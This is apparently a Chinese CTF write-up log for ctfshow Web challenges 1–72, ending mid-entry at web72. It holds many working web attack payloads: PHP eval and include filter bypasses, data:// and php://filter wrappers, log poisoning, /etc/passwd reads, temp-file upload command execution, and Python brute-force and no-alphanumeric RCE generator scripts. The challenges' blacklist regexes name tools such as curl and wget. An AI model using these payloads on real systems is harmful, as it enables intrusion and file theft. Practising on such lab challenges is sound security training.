ctfshow-Web入门刷题记录1
参考:
ctfshow-Web1000题系列修炼(一)
CTFSHOW PHP特性篇 (下篇132-150)
无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)
信息搜集 web1 查看源码
web2 view-source:
web3 抓包,在响应包发现Flag: ctfshow{b5a5badc-46c5-4c2c-ad28-174f21781454}
web4 /robots.txt /flagishere.txt
web5 /index.php
web6 /www.zip
web7 /.git/
web8 /.svn/
web9 /index.php.swp
web10 对Cookie
中flag
字段进行URL
解码即可
web11 在域名解析查询 选定txt
分类对flag.ctfshow.com
进行查询即可
web12 页面最底部发现Help Line Number : 372619038
访问\admin
并使用admin/372619038
即可登录
web13 点击页面底部的INFORMATION
分栏中最下面的document
web14 查看源码搜索editor
访问/editor/
,选择图片
中的网络图片
中的图片空间
发现/editor/attached/image/var/www/html/nothinghere/fl000g.txt
访问/nothinghere/fl000g.txt
即可
web15 在最底部发现1156631961@qq.com
,搜索QQ
后发现居住在西安
访问\admin
,点击重置密码输入对应城市即可重置密码
使用admin/admin7789
登录即可
web16 访问/tz.php
,在PHP相关参数
中发现PHPINFO
,点击后跳转至/tz.php?act=phpinfo
,搜索ctfshow
即可
web18 在源码中发现var result=window.confirm("\u4f60\u8d62\u4e86\uff0c\u53bb\u5e7a\u5e7a\u96f6\u70b9\u76ae\u7231\u5403\u76ae\u770b\u770b");
console .log ('\u4f60\u8d62\u4e86\uff0c\u53bb\u5e7a\u5e7a\u96f6\u70b9\u76ae\u7231\u5403\u76ae\u770b\u770b' )
访问/110.php
web19 方法一 查看源码发现
<!-- error_reporting (0 ); $flag ="fakeflag" $u = $_POST ['username' ]; $p = $_POST ['pazzword' ]; if (isset ($u ) && isset ($p )){ if ($u ==='admin' && $p ==='a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04' ){ echo $flag ; } } -->
故直接POST
pazzword=a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04&username=admin
方法二 查看源码发现
function checkForm ( ){ var key = "0000000372619038" ; var iv = "ilove36dverymuch" ; var pazzword = $("#pazzword" ).val (); pazzword = encrypt (pazzword,key,iv); $("#pazzword" ).val (pazzword); $("#loginForm" ).submit (); } function encrypt (data,key,iv ) { var key1 = CryptoJS .enc .Latin1 .parse (key); var iv1 = CryptoJS .enc .Latin1 .parse (iv); return CryptoJS .AES .encrypt (data, key1,{ iv : iv1, mode : CryptoJS .mode .CBC , padding : CryptoJS .pad .ZeroPadding }).toString (); }
故使用AES
解密,然后用admin/i_want_a_36d_girl
登录
web20 访问/db/db.mdb
,使用DbView-v1.1
查看,在Switchboard Items
中ItemNumber=5
的表项中的ItemText
中找到flag
web17 使用dirsearch
发现/backup.sql
爆破 web21 抓包发现头部字段Authorization: Basic YWRtaW46YWRtaW4=
,使用题目所给字典爆破
方法一 编写exp
如下
import requestsimport base64import red = [] with open ('dict.txt' ,mode='r' ) as f: for passwd in f.readlines(): d.append(passwd.strip('\n' )) url = 'http://accbdbeb-c52b-44ae-a03e-df483ff243e7.challenge.ctf.show/' for i in range (len (d)): payload = base64.b64encode(('admin:{}' .format (d[i])).encode()) headers = { 'Authorization' : 'Basic {}' .format (payload.decode('utf-8' )), 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36' } response = requests.post(url=url,headers=headers) if 'ctfshow' in response.text: print (response.text) break
方法二 使用burp
的爆破模块
web22 访问https://vip.ctf.show/后鼠标移动到标签处停顿即可获得`flag`
web23 打开得到源码
<?php error_reporting (0 );include ('flag.php' );if (isset ($_GET ['token' ])){ $token = md5 ($_GET ['token' ]); if (substr ($token , 1 ,1 )===substr ($token , 14 ,1 ) && substr ($token , 14 ,1 ) ===substr ($token , 17 ,1 )){ if ((intval (substr ($token , 1 ,1 ))+intval (substr ($token , 14 ,1 ))+substr ($token , 17 ,1 ))/substr ($token , 1 ,1 )===intval (substr ($token , 31 ,1 ))){ echo $flag ; } } }else { highlight_file (__FILE__ ); } ?>
爆破即可
<?php error_reporting (0 );include ('flag.php' );function check ($t ) { $token = md5 ($t ); if (substr ($token , 1 ,1 )===substr ($token , 14 ,1 ) && substr ($token , 14 ,1 ) ===substr ($token , 17 ,1 )){ if ((intval (substr ($token , 1 ,1 ))+intval (substr ($token , 14 ,1 ))+substr ($token , 17 ,1 ))/substr ($token , 1 ,1 )===intval (substr ($token , 31 ,1 ))){ echo $t ; return true ; } } return false ; } for ($i =0 ;;$i ++){ if (check ($i )) break ; } ?>
/?token=422
web24 源码
<?php error_reporting (0 );include ("flag.php" );if (isset ($_GET ['r' ])){ $r = $_GET ['r' ]; mt_srand (372619038 ); if (intval ($r )===intval (mt_rand ())){ echo $flag ; } }else { highlight_file (__FILE__ ); echo system ('cat /proc/version' ); } ?>
相同的随机数种子,生成随机数对应一致(注意版本一致)
<?php error_reporting (0 );mt_srand (372619038 );echo mt_rand (); ?>
/?r=1155388967
web25 源码
<?php error_reporting (0 );include ("flag.php" );if (isset ($_GET ['r' ])){ $r = $_GET ['r' ]; mt_srand (hexdec (substr (md5 ($flag ), 0 ,8 ))); $rand = intval ($r )-intval (mt_rand ()); if ((!$rand )){ if ($_COOKIE ['token' ]==(mt_rand ()+mt_rand ())){ echo $flag ; } }else { echo $rand ; } }else { highlight_file (__FILE__ ); echo system ('cat /proc/version' ); }
输入r=0
可得-1010439643
,使用php_mt_seed
进行爆破
Pattern: EXACT Version: 3.0.7 to 5.2.0 Found 0, trying 0xf8000000 - 0xfbffffff, speed 6820.9 Mseeds/s seed = 0xfa4317f0 = 4198701040 (PHP 3.0.7 to 5.2.0) seed = 0xfa4317f1 = 4198701041 (PHP 3.0.7 to 5.2.0) Found 2, trying 0xfc000000 - 0xffffffff, speed 6819.1 Mseeds/s Version: 5.2.1+ Found 2, trying 0x42000000 - 0x43ffffff, speed 57.2 Mseeds/s seed = 0x430ee585 = 1125049733 (PHP 5.2.1 to 7.0.x; HHVM) seed = 0x430ee585 = 1125049733 (PHP 7.1.0+) Found 4, trying 0x52000000 - 0x53ffffff, speed 56.8 Mseeds/s seed = 0x5391f6d3 = 1402074835 (PHP 5.2.1 to 7.0.x; HHVM) seed = 0x5391f6d3 = 1402074835 (PHP 7.1.0+) Found 6, trying 0x6e000000 - 0x6fffffff, speed 57.0 Mseeds/s seed = 0x6e47e308 = 1850204936 (PHP 5.2.1 to 7.0.x; HHVM) seed = 0x6e47e308 = 1850204936 (PHP 7.1.0+) Found 8, trying 0xa6000000 - 0xa7ffffff, speed 57.0 Mseeds/s seed = 0xa7809666 = 2810222182 (PHP 7.1.0+) Found 9, trying 0xfe000000 - 0xffffffff, speed 57.1 Mseeds/s Found 9
对获得的结果尝试后发现Seed
为2810222182
,故最终payload
为
/?r=1010439643 Cookie: token=750365370
web26 POST /checkdb.php HTTP/1.1 Host : b5d52ac9-2c1b-4dc5-8cba-ee3657699628.challenge.ctf.showUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0Accept : application/json, text/javascript, */*; q=0.01Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflateContent-Type : application/x-www-form-urlencoded; charset=UTF-8X-Requested-With : XMLHttpRequestContent-Length : 17Origin : http://b5d52ac9-2c1b-4dc5-8cba-ee3657699628.challenge.ctf.showConnection : closeReferer : http://b5d52ac9-2c1b-4dc5-8cba-ee3657699628.challenge.ctf.show/install.php?a=&p =&d =&u =&pass =
web27 下载名单
CTFshow菜鸡学院录取名单
序号
姓名
专业
身份证号码
备注
1
高先伊
WEB
621022********5237
2
嵇开梦
MISC
360730********7653
党员
3
郎康焕
RE
522601********8092
4
元羿谆
PWN
451023********3419
生源地贷款
5
祁落兴
CRYPTO
410927********5570
观察后发现缺失出生年月部分,爆破后易知出生年月为19900201
POST /info/checkdb.php HTTP/1.1 Host : e12947b8-123f-473f-a946-e55108e2c1d1.challenge.ctf.showUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Content-Type : application/x-www-form-urlencodedAccept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflateConnection : closeUpgrade-Insecure-Requests : 1Content-Length : 50a=% E9 % AB% 98 % E5 % 85 % 88 % E4 % BC% 8 A&p=621022199002015237
回显,解码后恭喜您,您已被我校录取,你的学号为02015237 初始密码为身份证号码
{ "0" : "success" , "msg" : "\u606d\u559c\u60a8\uff0c\u60a8\u5df2\u88ab\u6211\u6821\u5f55\u53d6\uff0c\u4f60\u7684\u5b66\u53f7\u4e3a02015237 \u521d\u59cb\u5bc6\u7801\u4e3a\u8eab\u4efd\u8bc1\u53f7\u7801" }
登录即可
web28 爆破目录结构即可,最终目录为/72/20
GET /72/20/ HTTP/1.1 Host : be394b7f-7bef-4c10-9d1a-02990c1f1e1e.challenge.ctf.showUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflateConnection : closeUpgrade-Insecure-Requests : 1If-Modified-Since : Thu, 03 Sep 2020 13:35:52 GMTIf-None-Match : "5f50f138-14"
命令执行 web29 源码
<?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
过滤了flag
,用fla*
绕过即可
/?c=system ('ls' ); flag.php index.php /?c=system ('tac fla*' ); $flag = 'ctfshow{6dd0377a-43a4-4bb4-8316-e6733e2a13b3}' ; */
web30 源码
<?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
使用passthru /?c=passthru('tac fla*'); *被过滤了,如果可以ls看到文件名,可以用? /?c=passthru('tac fla?????'); 反字节符配合echo /?c=echo(`tac fla*`); 带参数输入 /?c=eval($_GET[1]);&1=system("tac flag.php");
web31 源码
<?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
/?c=eval($_GET[1]);&1=system('tac flag.php'); /?c=show_source(next(array_reverse(scandir(pos(localeconv()))))); localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回数组第一个"." pos():输出数组第一个元素,不改变指针; scandir();遍历目录,这里因为参数为"."所以遍历当前目录 array_reverse():元组倒置 next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以 show_source():查看源码 用%09代替空格,%09是在php环境下才能使用 /?c=passthru("tac%09fla*"); $IFS$9绕过空格,注意转义$符号 /?c=passthru("tac\$IFS\$9fla*");
web32 源码
<?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
/?c=include$_POST[1]?>&1=../../../../etc/passwd /?c=include$_POST[1]?>&1=../../../../var/log/nginx/access.log /?c=include$_POST[1]?>&1=php://filter/convert.base64-encode/resource=flag.php /?c=include%09$_POST[1]?>&1=../../../../etc/passwd /?c=include%0a$_POST[1]?>&1=../../../../etc/passwd /?c=include%0a$_POST[1]?>&1=php://filter/convert.base64-encode/resource=flag.php 在User-Agent中写入<?php system("cat flag.php")?>在访问日志 /?c=include$_POST[1]?>&1=../../../../var/log/nginx/access.log
web33 源码
<?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
/?c=include$_POST[1]?>&1=php://filter/convert.base64-encode/resource=flag.php /?c=include%0A$_POST[a]?>&a=data://text/plain, <?php system("cat flag.php");?>
web34 源码
<?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
/?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php /?c=include%0A$_GET[a]?>&a=data://text/plain, <?php system("cat flag.php");?>
web35 源码
<?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
/?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php /?c=include%0A$_GET[a]?>&a=data://text/plain, <?php system("cat flag.php");?>
web36 源码
<?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
/?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php /?c=include%0A$_GET[a]?>&a=data://text/plain, <?php system("cat flag.php");?>
web37 源码
<?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag/i" , $c )){ include ($c ); echo $flag ; } }else { highlight_file (__FILE__ ); }
采用伪协议data
绕过
/?c=data://text/plain, <?php system("tac fla*");?>
web38 源码
<?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag|php|file/i" , $c )){ include ($c ); echo $flag ; } }else { highlight_file (__FILE__ ); }
/?c=data://text/plain,<?=system("tac fla*");?>
web39 源码
<?php error_reporting (0 );if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/flag/i" , $c )){ include ($c .".php" ); } }else { highlight_file (__FILE__ ); }
/?c=data://text/plain,<?=system("tac fla*");?>
web40 源码
<?php if (isset ($_GET ['c' ])){ $c = $_GET ['c' ]; if (!preg_match ("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i" , $c )){ eval ($c ); } }else { highlight_file (__FILE__ ); }
/?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
each() 返回数组中当前的键/值对并将数组指针向前移动一步 end() 将数组的内部指针指向最后一个单元 next() 将数组中的内部指针向前移动一位 prev() 将数组中的内部指针倒回一位 array_reverse() 以相反的元素顺序返回数组
web41 源码
<?php if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; if (!preg_match ('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i' , $c )){ eval ("echo($c );" ); } }else { highlight_file (__FILE__ ); } ?>
留下了|
运算符,参考yu师傅 和dota_st 的脚本简单写了下exp
import osimport reimport requestsimport sysimport urllibOPAND = 0 OPOR = 1 Files = ['rce_cmd_and.txt' , 'rce_cmd_or.txt' ] class RceCmdGen (object ): ''' ''' def __init__ (self, opcode, pattern ): self._opcode = opcode self.pattern = pattern @property def opcode (self ): return self._opcode @opcode.setter def opcode (self, value ): if opcode>=0 and opcode<=1 : self._opcode = value else : raise ValueError('range(2) need' ) def _rce_or_gen (self ): content = '' for i in range (256 ): for j in range (256 ): if not (re.match(self.pattern, chr (i), re.I) or re.match(self.pattern, chr (j), re.I)): k = i|j if k>=32 and k<=126 : param_1 = '%' + hex (i)[2 :].zfill(2 ) param_2 = '%' + hex (j)[2 :].zfill(2 ) content += '{} {} {}\n' .format (chr (k), param_1, param_2) with open ('rce_cmd_or.txt' , mode='w' ) as f: f.write(content) def rce_gen (self ): if isinstance (self.pattern, str ): if self._opcode == 1 : self._rce_or_gen() elif self._opcode == 2 : print ('To be continued...\n' ) else : raise ValueError('Opcode Error' ) else : raise TypeError('"str" type need' ) def hello (): print ("=" *50 ) print ('USER:python exp.py <url>' ) print ("eg: python exp.py http://ctf.show/" ) print ("exit: input exit in function or command" ) print ("=" *50 ) def check_argv (): if (): return False else : return True def action (arg, opcode ): _param_1 = '' _param_2 = '' for i in arg: with open (Files[opcode], mode='r' ) as f: while True : line = f.readline() if line == '' : break if line[0 ] == i: _param_1 += line[2 :5 ] _param_2 += line[6 :9 ] break _res = '("{}"|"{}")' .format (_param_1, _param_2) return _res def main (url ): opcode = 1 preg = '[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-' rce_cmd = RceCmdGen(opcode=opcode, pattern=preg) rce_cmd.rce_gen() while True : func = input ("\n[+] Your Function: " ) if func == "exit" : break cmd = input ("\n[+] Your Command: " ) if cmd == "exit" : break payload = action(func, opcode=opcode) + action(cmd, opcode=opcode) data ={ 'c' : urllib.parse.unquote(payload) } response = requests.post(url=url, data=data) print ("\n[*] result:\n" +response.text) if __name__ == '__main__' : hello() if len (sys.argv)!=2 : print ('[!] Need Url' ) exit(0 ) else : url = sys.argv[1 ] main(url=url)
web42 源码
<?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; system ($c ." >/dev/null 2>&1" ); }else { highlight_file (__FILE__ ); }
使用命令分隔符即可
/?c=cat flag.php; /?c=cat flag.php||
web43 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
过滤了cat
和;
web44 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/;|cat|flag/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
web45 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| /i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
空格被过滤了
/?c=tac%09fla*|| /?c=tac$IFS$fla*|| /?c=tac$IFS$1fla*||
web46 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
/?c=ls|| 回显flag.php index.php /?c=tac%09fla?????|| /?c=tac%09fla?.php||
web47 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
more:一页一页的显示档案内容 less:与 more 类似 head:查看头几行 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tail:查看尾几行 nl:显示的时候,顺便输出行号 od:以二进制的方式读取档案内容 vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看 sort:可以查看 uniq:可以查看 file -f:报错出具体内容 grep 在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings
web48 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
web49 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
web50 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
web51 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
tac
被过滤了
web52 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i" , $c )){ system ($c ." >/dev/null 2>&1" ); } }else { highlight_file (__FILE__ ); }
注意$
被放出来了,还有flag
在根目录
/?c=ta\c${IFS}../../../fla\g||
web53 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i" , $c )){ echo ($c ); $d = system ($c ); echo "<br>" .$d ; }else { echo 'no' ; } }else { highlight_file (__FILE__ ); }
web54 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i" , $c )){ system ($c ); } }else { highlight_file (__FILE__ ); }
/?c=grep${IFS}show${IFS}fla?.php
web55 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i" , $c )){ system ($c ); } }else { highlight_file (__FILE__ ); }
虽然ban
掉了所有的字母,但是留下了数字,可以通过匹配bin下存在的命令进行读取flag
bin为binary的简写,主要放置一些系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等。 cat或者ls等等都其实是简写,例如ls完整全称应该是/bin/ls
web56 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i" , $c )){ system ($c ); } }else { highlight_file (__FILE__ ); }
过滤了数字字母但是给了.
和?
PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母,最后一个字母大概率是大写
. 相当于source 可以执行文件
``可以执行命令
[@-[] 可以表示任意大写字母
在ASCII码中 @ < A , [ > Z ,
从网上找一份上传代码
<!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <title > upload-POC</title > </head > <body > <form action ="http://c170210b-f33a-4717-8667-50f3a7931dac.challenge.ctf.show/" method ="post" enctype ="multipart/form-data" > <label for ="file" > 文件名:</label > <input type ="file" name ="file" id ="file" > <br > <input type ="submit" name ="submit" value ="提交" > 上传的文件在网站目录下 </form > </body > </html >
发包即可
POST /?c=.%20/???/????????[@-[] HTTP/1.1 Host : c170210b-f33a-4717-8667-50f3a7931dac.challenge.ctf.showUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language : zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding : gzip, deflateContent-Type : multipart/form-data; boundary=---------------------------30303294254096021847704335588Content-Length : 343Origin : http://127.0.0.1Connection : closeReferer : http://127.0.0.1/Upgrade-Insecure-Requests : 1Content-Disposition: form-data; name ="file"; filename="1.txt" Content-Type : text /plain cat flag.php Content-Disposition: form-data; name ="submit" ??浜?
web57 <?php if (isset ($_GET ['c' ])){ $c =$_GET ['c' ]; if (!preg_match ("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i" , $c )){ system ("cat " .$c .".php" ); } }else { highlight_file (__FILE__ ); }
在shell中可以利用$
和()
进行构造数字
$(())
代表做一次运算,因为里面为空,也表示值为0$((~$(())))
对0作取反运算,值为-1$(($((~$(())))$((~$(())))))
-1-1,也就是(-1)+(-1)为-2,所以值为-2$((~$(($((~$(())))$((~$(())))))))
再对-2做一次取反得到1,所以值为1
如果对a
按位取反,则得到的结果为-(a+1)
,也就是对0取反得到-1
import requestsimport reurl = 'http://373648e5-52f2-4eb8-a837-45fa0c6d15df.challenge.ctf.show/' payload = '/?c=' +'$((~((' + '$((~$(())))' *37 + '))))' reponse = requests.get(url=url+payload) flag = re.findall('ctfshow{.*?}' , reponse.text)[0 ] print (flag)
web58 <?php if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); }else { highlight_file (__FILE__ ); }
蚁剑可以直接连接(后面的题目都可以
),也可以通过如下命令读取
POST c=show_source('flag.php'); c=include$_POST[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
一些读取文件函数
highlight_file ($filename );show_source ($filename );print_r (php_strip_whitespace ($filename ));print_r (file_get_contents ($filename ));readfile ($filename );print_r (file ($filename )); fread (fopen ($filename ,"r" ), $size );include ($filename ); include_once ($filename ); require ($filename ); require_once ($filename ); print_r (fread (popen ("cat flag" , "r" ), $size ));print_r (fgets (fopen ($filename , "r" ))); fpassthru (fopen ($filename , "r" )); print_r (fgetcsv (fopen ($filename ,"r" ), $size ));print_r (fgetss (fopen ($filename , "r" ))); print_r (fscanf (fopen ("flag" , "r" ),"%s" ));print_r (parse_ini_file ($filename ));
web59-65 POST c=show_source('flag.php'); c=include$_POST[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
web66 show_source
被ban
了,而且flag
不在flag.php
,需要查看目录找
POST c=print_r(scandir("/")); c=highlight_file('/flag.txt'); c=include$_POST[a]?>&a=php://filter/convert.base64-encode/resource=/flag.txt
web67 print_r
被ban
了
POST c=var_dump(scandir("/")); c=highlight_file('/flag.txt'); c=include$_POST[a]?>&a=php://filter/convert.base64-encode/resource=/flag.txt
web68 无源码,highlight_file
被ban
了
POST c=var_dump(scandir("/")); c=include('/flag.txt'); c=include$_POST[a]?>&a=php://filter/convert.base64-encode/resource=/flag.txt
web69 var_dump
被ban
了
POST c=$d=opendir("/");while(false!==($f=readdir($d))){echo"$f\n";} c=include('/flag.txt'); c=include$_POST[a]?>&a=php://filter/convert.base64-encode/resource=/flag.txt
几种查看目录的方法
print_r (glob ("*" )); print_r (glob ("/*" )); print_r (scandir ("." ));print_r (scandir ("/" ));$d =opendir ("." );while (false !==($f =readdir ($d ))){echo "$f \n" ;}$d =dir ("." );while (false !==($f =$d ->read ())){echo $f ."\n" ;}$a =glob ("/*" );foreach ($a as $value ){echo $value ." " ;}$a =new DirectoryIterator ('glob:///*' );foreach ($a as $f ){echo ($f ->__toString ()." " );}
web70 无源码
POST c=$d=opendir("/");while(false!==($f=readdir($d))){echo"$f\n";} c=include('/flag.txt'); c=include$_POST[a]?>&a=php://filter/convert.base64-encode/resource=/flag.txt
web71 源码
<?php error_reporting (0 );ini_set ('display_errors' , 0 );if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); $s = ob_get_contents (); ob_end_clean (); echo preg_replace ("/[0-9]|[a-z]/i" ,"?" ,$s ); }else { highlight_file (__FILE__ ); } ?>
强制退出,不执行后面的命令即可
POST c=$d=opendir("/");while(false!==($f=readdir($d))){echo"$f\n";};exit(); c=include('/flag.txt');exit();
*web72 源码
<?php error_reporting (0 );ini_set ('display_errors' , 0 );if (isset ($_POST ['c' ])){ $c = $_POST ['c' ]; eval ($c ); $s = ob_get_contents (); ob_end_clean (); echo preg_replace ("/[0-9]|[a-z]/i" ,"?" ,$s ); }else { highlight_file (__FILE__ ); } ?>
换一个查看目录方法
POST c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
但是include
被ban
了,并且有open_basedir
和disable_functions
的限制,试了试蚁剑也不行了,使用别人的脚本
